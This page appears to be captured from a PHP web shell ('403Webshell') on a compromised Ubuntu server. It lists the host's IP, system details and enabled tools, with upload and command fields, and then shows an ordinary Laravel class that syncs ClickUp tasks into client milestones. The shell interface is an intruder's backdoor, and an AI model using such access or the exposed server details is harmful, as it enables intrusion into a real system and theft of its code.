403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/switchyard/current/app/Services/ClickUp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/switchyard/current/app/Services/ClickUp/MilestoneSyncer.php
<?php

namespace App\Services\ClickUp;

use App\Models\ClientMilestone;
use App\Models\ClientProject;
use Illuminate\Support\Carbon;
use RuntimeException;

/**
 * Pulls every task from a ClientProject's ClickUp folder, upserts the
 * `client_milestones` mirror, and records a `last_synced_at` on the
 * project.
 *
 * Operator-set fields (`is_visible`, `display_order`) survive sync — only
 * ClickUp-derived columns (name, status, due dates) get overwritten. Tasks
 * not seen in this pass have a stale `last_seen_at`; the caller (or a
 * scheduled prune job) can hide them by flipping `is_visible = false`.
 */
class MilestoneSyncer
{
    public function __construct(private readonly ClickUpApiClient $api) {}

    /**
     * @return array{lists: int, tasks: int}
     */
    public function sync(ClientProject $project): array
    {
        $connection = $project->workspace?->clickupConnection;
        if (! $connection?->isActive()) {
            throw new RuntimeException('Workspace has no active ClickUp connection.');
        }

        $listsResponse = $this->api->getFolderLists($project->clickup_folder_id);
        $lists = (array) ($listsResponse['lists'] ?? []);

        $now = now();
        $taskCount = 0;
        $displayOrder = 0;

        foreach ($lists as $list) {
            $listId = (string) ($list['id'] ?? '');
            if ($listId === '') {
                continue;
            }

            foreach ($this->pageTasks($listId) as $task) {
                $taskId = (string) ($task['id'] ?? '');
                if ($taskId === '') {
                    continue;
                }

                $existing = ClientMilestone::query()
                    ->where('client_project_id', $project->id)
                    ->where('clickup_task_id', $taskId)
                    ->first();

                $status = (array) ($task['status'] ?? []);
                $isClosed = ($status['type'] ?? null) === 'closed';

                $values = [
                    'workspace_id' => $project->workspace_id,
                    'client_project_id' => $project->id,
                    'clickup_list_id' => $listId,
                    'name' => (string) ($task['name'] ?? 'Untitled'),
                    'status_name' => $status['status'] ?? null,
                    'status_color' => $status['color'] ?? null,
                    'status_type' => $status['type'] ?? null,
                    'is_complete' => $isClosed,
                    'due_at' => $this->toDate($task['due_date'] ?? null),
                    'completed_at' => $isClosed ? $this->toDate($task['date_closed'] ?? null) : null,
                    'last_seen_at' => $now,
                ];

                if ($existing) {
                    $existing->forceFill($values)->save();
                } else {
                    ClientMilestone::create(array_merge($values, [
                        'clickup_task_id' => $taskId,
                        'is_visible' => true,
                        'display_order' => $displayOrder++,
                    ]));
                }
            }

            $taskCount += 1;
        }

        $project->forceFill(['last_synced_at' => $now])->save();

        return ['lists' => count($lists), 'tasks' => ClientMilestone::query()->where('client_project_id', $project->id)->count()];
    }

    private function pageTasks(string $listId): iterable
    {
        $page = 0;
        while (true) {
            $resp = $this->api->getListTasks($listId, $page);
            $tasks = (array) ($resp['tasks'] ?? []);

            foreach ($tasks as $task) {
                yield $task;
            }

            if (($resp['last_page'] ?? null) === true || count($tasks) === 0) {
                return;
            }

            $page++;
            if ($page > 50) {
                return;
            }
        }
    }

    private function toDate(mixed $value): ?Carbon
    {
        if ($value === null || $value === '') {
            return null;
        }
        if (is_numeric($value)) {
            $ms = (int) $value;
            return Carbon::createFromTimestampMs($ms);
        }

        return null;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit